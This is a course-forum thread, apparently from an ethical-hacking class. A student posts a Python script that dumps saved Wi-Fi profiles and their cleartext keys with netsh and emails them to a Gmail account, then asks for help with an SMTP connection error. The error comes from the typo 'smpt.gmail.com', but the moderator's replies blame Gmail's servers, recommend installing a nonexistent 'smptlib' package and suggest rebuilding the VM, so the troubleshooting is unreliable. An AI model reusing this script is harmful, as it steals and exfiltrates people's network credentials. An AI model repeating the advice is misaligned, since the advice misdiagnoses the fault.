Viewing 15 posts - 1 through 15 (of 19 total)
  • Author
    Posts
  • #41203
    Peter QueenPeter Queen
    Participant

    Hello ,

    When i run this code:

    #!usr/bin/env python
    
     
    
    import subprocess, smtplib, re
    
     
    
     
    
    def send_mail(email, password, message):
    
        server = smtplib.SMTP("smpt.gmail.com", 587)
    
        server.starttls()
    
        server.login(email, password)
    
        server.sendmail(email, email, message)
    
        server.quit()
    
     
    
     
    
    results = ""
    
    command = "netsh wlan show profile"
    
    networks = subprocess.check_output(command, shell=True)
    
    network_names_list = re.findall("(?:Profile\s*:\s*)(.*)", networks)
    
    for network_name in network_names_list:
    
        command = "netsh wlan show profile" + network_name + "key=clear"
    
        current_results = subprocess.check_output(command, shell=False)
    
        results = results + current_results
    
     
    
    send_mail("[email protected]", "xxxxxxx", results)

    I get this error:

    C:\Users\IEUser\Downloads>C:\Python27\python.exe execute_and_report.py
    
    Traceback (most recent call last):
    
      File "execute_and_report.py", line 23, in <module>
    
        send_mail("[email protected]", "xxxxxxxxxx", results)
    
      File "execute_and_report.py", line 7, in send_mail
    
        server = smtplib.SMTP("smpt.gmail.com", 587)
    
      File "C:\Python27\lib\smtplib.py", line 256, in __init__
    
        (code, msg) = self.connect(host, port)
    
      File "C:\Python27\lib\smtplib.py", line 317, in connect
    
        self.sock = self._get_socket(host, port, self.timeout)
    
      File "C:\Python27\lib\smtplib.py", line 292, in _get_socket
    
        return socket.create_connection((host, port), timeout)
    
      File "C:\Python27\lib\socket.py", line 557, in create_connection
    
        for res in getaddrinfo(host, port, 0, SOCK_STREAM):
    
    socket.gaierror: [Errno 11001] getaddrinfo failed

    I covered email and password here but they are correct.

    Can you please help?

    #41275
    diegodiego
    Moderator

    Hi Peter!
    Yeah, the issue is related to conectivity with smtp server, Are you shure that windows vm has internet connection while running the script?

    Let me know.
    Diego

    #41292
    Peter QueenPeter Queen
    Participant

    Hello Diego,

    Yes I have connection.

    Please advise

    #41356
    diegodiego
    Moderator

    Hi Peter!
    The only solution is to try again cause this is an issue with gamil servers and not with your code.

    Let me know how it goes!
    Diego

    #41410
    Peter QueenPeter Queen
    Participant

    Hello Diego,

    I tried over and over but doesn’t work, can I connect to another server instead of Gmail?

    #41423
    diegodiego
    Moderator

    Hi Peter!

    First can you try to update smtplib? Just run:

    python.exe -m pip install smptlib

    This will install any update if available, also consider that you have to provide the full path for python.exe

    Let me know how it goes!
    Diego

    #41487
    Peter QueenPeter Queen
    Participant

    Hello Diego,

    When I try to install smptlib I get this error:

    DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support                          
    ERROR: Could not find a version that satisfies the requirement smptlib (from versions: none)                            
    ERROR: No matching distribution found for smptlib

    Please advise

    #41561
    diegodiego
    Moderator

    Hi Peter!
    That’s weired, are you trying this in your host machine or in a virtual one?

    Let me know.
    Diego

    #41570
    Peter QueenPeter Queen
    Participant

    Hello Diego,

    I am trying it on the Windows VM machine.

    Anything I can do ?

    #41622
    diegodiego
    Moderator

    Hi Peter!
    Which exact version of python interpreter did you installed? I have tried it in 2.7.18 and it worked without issues, so maybe you can try to delete the current version and install the one I mentioned.

    Let me know how it goes!
    Diego

    #41745
    Peter QueenPeter Queen
    Participant

    Hello Diego,

    I have 2.7.18, I have now created a new Windows VM, downloaded Python and still when i try to import smptlib i get the same error!I import pyinstaller and it worked fine. Can you think of any solution? Should I dload Python 3? If so I did not take note of the Python 3 difference in the codes.

    Thanks

    #41780
    diegodiego
    Moderator

    Hi Peter!

    So you said it’s working when you have installed pyinstaller isn’t it? Are you recieving emails now? And yes, you can change the code to make it work with python3.

    Let me know how it goes!
    Diego

    #41988
    Peter QueenPeter Queen
    Participant

    Hello Diego,

    What I meant is pip worked to install pyinstaller but still I can’t manage to install smptlib! I read that it comes already installed in python and it is just a matter of importing it. Any more suggestions? Being not able to send mail it’s a problem.

    Thanks

    #42034
    diegodiego
    Moderator

    Hi Peter!
    Then I would recommend to remove this windows machine and import a fresh one, because that shouldn’t be happening. Did you download it from Microsoft’s official site?

    Let me know.
    Diego

    #42069
    Peter QueenPeter Queen
    Participant

    Hello Diego,

    Yes I did and I already imported a fresh one and I get the same error!

Viewing 15 posts - 1 through 15 (of 19 total)
  • You must be logged in to reply to this topic.